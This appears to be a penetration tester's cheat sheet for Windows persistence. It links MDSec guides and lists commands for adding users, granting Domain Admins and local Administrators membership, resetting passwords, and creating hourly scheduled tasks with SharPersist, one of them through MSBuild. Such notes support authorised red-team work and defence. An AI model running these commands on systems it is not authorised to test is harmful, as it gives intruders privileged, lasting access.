Guides

3 good guides:

• https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-1-microsoft-office/
• https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
• https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-3-wmi-event-subscription/

Add User

Commands:

net user "username" "password" /ADD

net group "Domain Admins" %username% /DOMAIN /ADD

Change user password

net user USERNAME *

Using Powershell:

Add-LocalGroupMember -Group Administrators -Member hacker

Scheduled task

SharpPresist

https://github.com/fireeye/SharPersist

Create a Scheduled task:

Execute-assembly ~/Downloads/SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Or

SharPersist -t schtask -c "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe" -a "C:\Users\John\msbuild.csproj" -n "Test" -m add -o hourly